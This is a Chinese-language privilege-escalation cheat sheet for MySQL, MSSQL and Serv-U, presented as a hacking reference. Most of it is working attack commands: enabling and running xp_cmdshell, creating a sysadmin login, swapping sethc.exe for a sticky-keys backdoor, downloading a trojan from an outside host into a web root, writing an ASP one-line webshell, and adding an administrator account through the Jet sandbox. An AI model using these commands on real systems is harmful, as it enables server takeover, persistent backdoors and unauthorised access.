牛逼版本
http://blog.csdn.net/eldn__/article/details/8452242
常见版本
http://www.jb51.net/hack/21297.html
http://hi.baidu.com/happy8d/item/6839edc2ba343953ac00efcc
http://www.webshell.cc/tag/tiquan
http://sec.chinabyte.com/486/11584486.shtml
数据库提权
MySQL
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。
所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。
Pre MySQL 4.1
在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。After MySQL 4.1
在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL.After MYSQL 5.0
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。
MYSQL 5.1
再说MYSQL5.1,这里有个问题相信大家会经常遇到的。创建函数时所用的DLL只能放在mysql的plugin目录里面。而且这个plugin目录默认是不存在的。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。编写UDF需要实现MySQL特定的接口函数。
UDF手册
http://dev.mysql.com/doc/refman/5.1/de/udf-calling.html
MSSQL
判断权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
开启与关闭
2000的话可以使用dropextentedpooc来删除过程,不过2008和2005已经不能够使用了exec master..sp_dropextendedproc xp_cmdshell
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
'xp_cmdshell' 'xplog70.dll'
'xp_dirtree' 'xpstar.dll'
'xp_enumgroups' 'xplog70.dll'
'xp_fixeddrives' 'xpstar.dll'
'xp_loginconfig' 'xplog70.dll'
'xp_regaddmultistring' 'xpstar.dll'
'xp_regdeletekey' 'xpstar.dll'
'xp_regdeletevalue' 'xpstar.dll'
'xp_regread' 'xpstar.dll'
'xp_regremovemultistring' 'xpstar.dll'
'xp_regwrite' 'xpstar.dll'
'xp_enumerrorlogs' 'xpstar.dll'
'xp_getfiledetails' 'xpstar.dll'
'xp_regenumvalues' 'xpstar.dll'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO
XP_前缀存储过程
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
XP_CMDSHELL
exec master..xp_cmdshell "whoami"
XP_DIRTREE
这个函数有三个参数,查询目录(可省略),递归深度 ,是否显示文件。
利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦
exec master.dbo.xp_dirtree 'c:',1,1
XP_REGREAD
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
XP_REGWRITE
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1
XP_SERVICECONTROL
exec master..xp_servicecontrol 'stop' ,'schedule'
exec master..xp_servicecontrol 'start','schedule'
SP_前缀存储过程
sp_addlogin
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
sp_oacreate
wscript.shell
use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
scripting.filesystemobject
scripting.filesystemobject
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Shell.Application
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c sc start TermService
Microsoft.XMLHTTP
可以实现从网上下载文件
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0
EXEC @hr = sp_oamethod @http,[Send],null
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output
EXEC @hr=sp_oacreate [ADODB.Stream],@down output
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1
sp_add_job
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "whoami > c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
sp_webmaketest
exec sp_makewebtask 'd:\www\xxx\xxx.asp',' select ''<%execute(request("cn"))%>'' '
ACCESS沙盒模式执行命令
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
之后就可以执行命令了
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
这里执行命令用的数据库是系统两个自带数据库,通常存放在
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
如果数据库不存在的话,可以上传一个,或者使用这样的语句创建一个
declare @hr int;
declare @object int;
declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
之后执行命令的话,这样执行即可
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("whoami")’)
ORCALE
ServU
ftp> quote site exec net.exe user
550 /net.exe: Permission denied.
打开之后如果出现
ftp> quote site exec net.exe user
550 /net.exe: No such file.
把目录改变一下即可
ftp> cd windows/system32
250 Directory changed to /WINDOWS/system32
ftp> quote site exec net.exe user
200 EXEC command successful (TID=42).